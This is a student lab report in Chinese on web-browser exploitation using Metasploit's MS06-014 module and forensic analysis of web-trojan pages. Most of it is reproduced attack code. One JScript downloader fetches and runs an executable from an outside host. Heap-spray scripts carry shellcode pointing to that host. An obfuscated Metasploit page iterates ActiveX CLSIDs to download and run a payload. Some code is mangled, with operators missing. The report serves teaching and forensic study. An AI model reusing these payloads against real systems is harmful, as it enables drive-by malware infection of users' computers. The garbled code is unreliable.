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20212904 2021-2022-2 《网络攻防实践》实践十一报告

作者:互联网

20212904 2021-2022-2 《网络攻防实践》实践十一报告

1 实践内容

(1)web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
①选择使用Metasploit中的MS06-014渗透攻击模块。
②选择PAYLOAD为任意远程Shell连接。
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

(2)取证分析实践—网页木马攻击场景分析
①先访问start.html,这个文件中给出了new09.htm的地址。
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,继续解密。
④如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防
①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2 实践过程

2.1 web浏览器渗透攻击

攻击机 Kali IP:192.168.11.47
靶机 Windows2kServer IP:192.168.11.61

①选择使用Metasploit中的MS06-014渗透攻击模块。

②选择PAYLOAD为任意远程Shell连接。

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

2.2 取证分析实践—网页木马攻击场景分析

①访问start.html,在这个文件中给出了new09.htm的地址。

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名。

③如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试;重复以上过程直到这些文件被全部分析完成。

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var url="http://down.18dd.net/bb/014.exe"; try{var xml=ado.CreateObject("Microsoft.XMLHTTP",""); xml.Open ("GET",url,0);xml.Send(); as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close (); var shell=ado.createobject("Shell.Application",""); shell.ShellExecute("cmd.exe","/c "path,"","open",0)}catch(e){}

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击机 Kali IP:192.168.31.150
靶机 Windows2kServer IP:192.168.31.219

①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

<html><head><title></title> <scriptlanguage="javascript"> functionFJiwqgbJtxTNwCGtvNfwyR(o,n) {varr=null; try{eval("r=o"".C""re""ate""Ob""je""ct(n)")} catch(e){} if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'')")} catch(e){}}if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'','')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""je""ct('',n)")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n,'')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n)")}catch(e){}} return(r);} functionTgkSFQMEAokscUdmqlExJVO(a) {vars=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); varo=FJiwqgbJtxTNwCGtvNfwyR(a,"A""DO""D""B.S""tr""eam"); vare=s.Environment("P""ro""ce""ss"); varurl=document.location'/p''ay''lo''ad';varxml=null; varbin=e.Item("T""E""M""P")"\\tppBbJMsCPXw"".e""xe"; vardat;try{xml=newXMLHttpRequest();} catch(e) {try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}} if(!xml){return(0);} xml.open("GET",url,false); xml.send(null); dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functioncrinLgmxhyO() {var i=0; vart=newArray('{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''6''}','{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''0''}','{''7''F''5''B''7''F''6''3''-''F''0''6''F''-''4''3''3''1''-''8''A''2''6''-''3''3''9''E''0''3''C''0''A''E''3''D''}','{''6''e''3''2''0''7''0''a''-''7''6''6''d''-''4''e''e''6''-''8''7''9''c''-''d''c''1''f''a''9''1''d''2''f''c''3''}','{''6''4''1''4''5''1''2''B''-''B''9''7''8''-''4''5''1''D''-''A''0''D''8''-''F''C''F''D''F''3''3''E''8''3''3''C''}','{''0''6''7''2''3''E''0''9''-''F''4''C''2''-''4''3''c''8''-''8''3''5''8''-''0''9''F''C''D''1''D''B''0''7''6''6''}','{''6''3''9''F''7''2''5''F''-''1''B''2''D''-''4''8''3''1''-''A''9''F''D''-''8''7''4''8''4''7''6''8''2''0''1''0''}','{''B''A''0''1''8''5''9''9''-''1''D''B''3''-''4''4''f''9''-''8''3''B''4''-''4''6''1''4''5''4''C''8''4''B''F''8''}','{''D''0''C''0''7''D''5''6''-''7''C''6''9''-''4''3''F''1''-''B''4''A''0''-''2''5''F''5''A''1''1''F''A''B''1''9''}','{''E''8''C''C''C''D''D''F''-''C''A''2''8''-''4''9''6''b''-''B''0''5''0''-''6''C''0''7''C''9''6''2''4''7''6''B''}','{''A''B''9''B''C''E''D''D''-''E''C''7''E''-''4''7''E''1''-''9''3''2''2''-''D''4''A''2''1''0''6''1''7''1''1''6''}','{''0''0''0''6''F''0''3''3''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}','{''0''0''0''6''F''0''3''A''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}',null); while(t[i]) {vara=null; if(t[i].substring(0,1)=='{') {a=document.createElement("object");a.setAttribute("cl""as""sid","cl""s""id"":"t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);}catch(e){}} if(a) {try{varb=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); if(b) {TgkSFQMEAokscUdmqlExJVO(a);return(0);}} catch(e){}}i;}} </script></head> <bodyonload='crinLgmxhyO()'>VPobGXIaRhZxDYlOkxARv</body></html>

{BD96C556-65A3-11D0-983A-00C04FC29E36}, {BD96C556-65A3-11D0-983A-00C04FC29E30}, {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}, {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}, {6414512B-B978-451D-A0D8-FCFDF33E833C}, {06723E09-F4C2-43c8-8358-09FCD1DB0766}, {639F725F-1B2D-4831-A9FD-874847682010}, {BA018599-1DB3-44f9-83B4-461454C84BF8}, {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}, {E8CCCDDF-CA28-496b-B050-6C07C962476B}, {AB9BCEDD-EC7E-47E1-9322-D4A210617116}, {0006F033-0000-0000-C000-000000000046}, {0006F03A-0000-0000-C000-000000000046}

3.学习中遇到的问题及解决

4.实践总结

这次试验内容比较多、操作也比较复杂,操作的过程中遇到了很多困难和不懂的地方,经过同学的耐心解答和搜索网上教程,最终才完成了实验。整个实验做下来,对网页木马的攻击原理等有了具体和深刻的认识,对网络攻防这门课又有了全新的认识。

标签:x69,20212904,x61,x65,x74,x72,实践,2021,x63
来源: https://www.cnblogs.com/qwerzk/p/16316001.html